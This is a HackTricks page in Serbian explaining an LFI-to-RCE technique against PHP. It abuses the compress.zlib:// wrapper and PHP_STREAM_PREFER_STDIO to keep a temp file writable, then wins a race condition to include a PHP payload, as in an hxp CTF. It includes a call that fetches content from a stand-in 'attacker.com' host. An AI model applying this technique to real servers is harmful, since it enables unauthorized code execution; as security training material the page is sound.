hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

4.1 KiB

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

compress.zlib:// i PHP_STREAM_PREFER_STDIO

Datoteka otvorena koristeći protokol compress.zlib:// sa oznakom PHP_STREAM_PREFER_STDIO može nastaviti da piše podatke koji kasnije stignu do veze u istu datoteku.

To znači da poziv kao što je:

file_get_contents("compress.zlib://http://attacker.com/file")

Poslaće zahtev tražeći http://attacker.com/file, zatim server može odgovoriti na zahtev sa validnim HTTP odgovorom, zadržati vezu otvorenom i poslati dodatne podatke nešto kasnije koji će takođe biti zapisani u datoteku.

Možete videti te informacije u ovom delu php-src koda u main/streams/cast.c:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Race Condition to RCE

Ovaj CTF je rešen korišćenjem prethodnog trika.

Napadač će naterati server žrtve da otvori vezu čitajući datoteku sa servera napadača koristeći compress.zlib protokol.

Dok ova veza postoji, napadač će izvršiti eksfiltraciju putanje do privremene datoteke koja je kreirana (server je otkrio).

Dok je veza još uvek otvorena, napadač će iskoristiti LFI učitavajući privremenu datoteku koju kontroliše.

Međutim, postoji provera na web serveru koja sprečava učitavanje datoteka koje sadrže <?. Stoga, napadač će iskoristiti Race Condition. U vezi koja je još uvek otvorena, napadač će poslati PHP payload NAKON što je webserver proverio da li datoteka sadrži zabranjene karaktere, ali PRE nego što učita njen sadržaj.

Za više informacija pogledajte opis Race Condition i CTF na https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}